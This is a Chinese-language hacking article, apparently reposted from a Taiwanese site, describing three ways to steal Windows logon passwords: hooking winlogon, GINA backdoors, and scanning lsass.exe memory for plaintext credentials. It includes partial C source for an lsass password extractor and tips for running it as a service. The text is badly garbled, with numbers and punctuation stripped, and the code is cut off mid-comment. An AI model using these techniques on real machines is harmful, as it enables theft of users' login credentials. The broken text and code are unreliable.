在所有NT系統中
都是有幾種方法可以得到登陸用戶的密碼的
我知道的三種方法可以達到目的
hook了winlogon中幾個函數
網上也有這類型的程序
叫winlogonhijack的項目在中有提供
不過那個項目只對本地登陸用戶有效
遠程登陸用戶無效
使用Gina和winlogon進行套接
只要對某些函數執行自己的記錄密碼的代碼
就可以將密碼記錄下來
穩定性高
而且對本地或遠程登陸都有效
不過現存的gina後門程序在XP或
中都有些函數沒有被導出過
主要因為xp和
等在winlogon中加入了新的函數
直接讀取內存數據得到明文密碼
在NT
/
K中
早就有程序findpass可以直接讀到winlogon進程中的內存數據而直接得到登陸用戶密碼
因為在NT
和
K中
帳號的信息
包括域名
帳號和密碼都是有規律地在winlogon內存中的特定地址中
所以可以很簡單就得到
但在XP和
系統中
這樣方法是無效的了
似乎我們是沒有辦法直接讀出明文地址了
下面我們就來談談如何象findpass在NT
和
K在
在server
中得到登陸用戶的密碼
雖然XP和
是不象以前的NT系統那樣將登陸用戶信息保存在winlogon進程的內存地址內
但是基Lsass進程對於要處理些信息時
需要得到明文的登陸用戶密碼
所以登陸用戶的密碼會在Lsass進程中出現(微軟沒有將密碼在Lsass進程中進行加密
微軟的說法是因為Lsass需要得到明文的密碼
就算將密碼加密
也都只能用可逆的方法加密
只要跟蹤lsass的操作
一樣可以得到明文密碼
所以微軟使用了比較懶惰的方法
可能也是為了加快響應速度
所以將明文密碼更是放在lsass進程內存內)
說到這裡
大家心裡都清楚了
登陸用戶的密碼是在lsass進程的內存中
對
就是這麼一回事
但是要得到這個明文密碼
真是象使用NT
和
K下的findpass那樣容易嗎?事實上並不是那麼容易
因為以下幾個原因:
A
密碼存放在lsass進程中的內存地址是沒有規律的
B
密碼有可能被最後登陸的用戶復蓋(例如管理員abc從本地登陸
然後管理員bbb從遠程登陸
然後管理員bbb注銷終端
存放在lsass
exe進程內存中的密碼
還是管理員bbb的密碼)
又或者用戶登陸後
然後注銷了
那麼我們就算得到了密碼
也不知道是哪個用戶的密碼
C
密碼前後的數據也是沒有規律的
如果有規律
例如密碼前的數據
一定是有一段全是
字符的數據段
那麼定位密碼就簡單
原因A和C都給我們帶來定位密碼的困難
原B就帶來不能確定密碼和帳號對應的問題
看來微軟在新的系統還是做過點功夫
不過我們是不會放棄的
就算是碰碰運氣
也看能不能得到密碼
反正就算失敗
也沒什麼關系
最後的代碼
是我寫來測試是不是能在
的系統中得到登際用戶的密碼
結果也正好象我們上面的分析一樣(當然了
上面的結果是用這程序測測得到的)
成功率當然不高
因為受太多原因所影響
定位密碼上的困難或者無法定位
或者得到不是密碼的信息等等的原因
都令失敗率顯得相當高
不過總還是一種方法
或者將來有人可以准確定位到
那就是令人高興了
雖然說失敗率高
但在一種情況下
成功率卻是很高的
那就是管理員只是在本地或終端中登陸了
以後再沒有用戶從本地或終端登陸過
而且管理員也沒有鎖上過系統
那麼成功率就會是相當高的了
提高成功率的兩種做法: 程序直接寫成服務
定時檢查本地或遠程登陸(其實沒什麼分別)
當檢測到登陸後
去搜索lsass進程內存
嘗試得到密碼
程序模擬一個登陸(使用LogonUser()就能搞定)
因為使用LogonUser()這個API
你要提供帳號名和對應的正確的密碼
才可以成功
然後你就可以去搜索lsass進程內存
因為知道密碼是什麼
我們就能定位到密碼是保存在什麼地方
因為登陸用戶的密碼都是保存在同一個地址或相離不遠的地址中
模擬登陸和搜索
可以先定位以後登陸的用戶的密碼會大約保存在什麼位置
無論怎說
三種方法中
最穩定
最安全的方法還是使用Gina那種方法
Hijack了winlogn一些API的方法
畢竟是改動了系統的東西
對系統的穩定性來說
會有考驗
直接搜索lsass進程內存的方法呢
雖說也是困難
但准確性
成功率卻又是低
下面的代碼使用的是很笨
而且很原始的搜索方法
主要是搜索Lsass內存中
LocalSystem Remote Procedure
這個字符串
因為在相當多的測試中
密碼都是保存在有這個字符串的地址後一點的位置中
當然了
很多系統並沒有這個字符串
或者就算有
我們得到的都是錯誤的密碼
代碼: //********************************************************************************
// Version: V
// Coder: WinEggDrop
// Date Release:
/
/
// Purpose: To Demonstrate Searching Logon User Password On
Box
The Method
// Used Is Pretty Unwise
But This May Be The Only Way To Review The
// Logon User
s Password On Windows
// Test PlatForm: Windows
// Compiled On: VC++
//********************************************************************************
#include
#include
#include
#define BaseAddress
x
b
// The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address
Which Causes The Result Unreliable
char Password[MAX_PATH] = ; // Store The Found Password
// Function ProtoType Declaration
//
BOOL FindPassword(DWORD PID);
int Search(char *Buffer
const UINT nSize);
DWORD GetLsassPID();
BOOL Is
();
//
// End Of Fucntion ProtoType Declaration
int main()
{
DWORD PID =
;
printf(
Windows
Password Viewer V
By WinEggDrop\n\n
);
if (!Is
()) // Check Out If The Box Is
{
printf(
The Program Can
t Only Run On Windows
Platform\n
);
return
;
}
PID = GetLsassPID(); // Get The Lsass
exe PID
if (PID ==
) // Fail To Get PID If Returning Zerom
{
return
;
}
FindPassword(PID); // Find The Password From Lsass
exe Memory
return
;
}
// End main()
//
// Purpose: Search The Memory & Try To Get The Password
// Return Type: int
// Parameters:
// In: char *Buffer
> The Memory Buffer To Search
// Out: const UINT nSize
> The Size Of The Memory Buffer
// Note: The Program Tries To Locate The Magic String
LocalSystem Remote Procedure
// Since The Password Is Near The Above Location
But It
s Not Always True That
// We Will Find The Magic String
Or Even We Find It
The Password May Be Located
// At Some Other Place
We Only Look For Luck
//
int Search(char *Buffer
const UINT nSize)
{
UINT OffSet =
;
UINT i =
;
UINT j =
;
UINT Count =
;
if (Buffer == NULL)
{
return
;
}
for (i =
; i < nSize ; i++)
{
/* The Below Is To Find The Magic String
Why So Complicated?That Will Thank MS
The Separation From Word To Word
Is Not Separated With A Space
But With A Ending Character
So Any Search API Like strstr() Will Fail To Locate
The Magic String
We Have To Do It Manually And Slowly
*/
if (Buffer ==
L
)
{
OffSet =
;
if (strnicmp(&Buffer[i + OffSet]
LocalSystem
strlen(
LocalSystem
)) ==
)
{
OffSet += strlen(
LocalSystem
) +
;
if (strnicmp(&Buffer[i + OffSet]
Remote
strlen(
Remote
)) ==
)
{
OffSet += strlen(
Remote
) +
;
if (strnicmp(&Buffer[i + OffSet]
Procedure
strlen(
Procedure
)) ==
)
{
OffSet += strlen(
Procedure
) +
;
if (strnicmp(&Buffer[i + OffSet]
Call
strlen(
Call
)) ==
)
{
i += OffSet;
break;
}
}
}
}
}
}
if (i < nSize)
{
ZeroMemory(Password
sizeof(Password));
for (; i < nSize ; i++)
{
if (Buffer ==
x
&& Buffer[i +
] ==
&& Buffer[i +
] ==
&& Buffer[i +
] ==
&& Buffer[i +
] ==
&& Buffer[i +
] ==
&& Buffer[i +
] ==
)
{
/* The Below Code Is To Retrieve The Password
Since The Stri
From:http://tw.wingwit.com/Article/Fault/201311/10461.html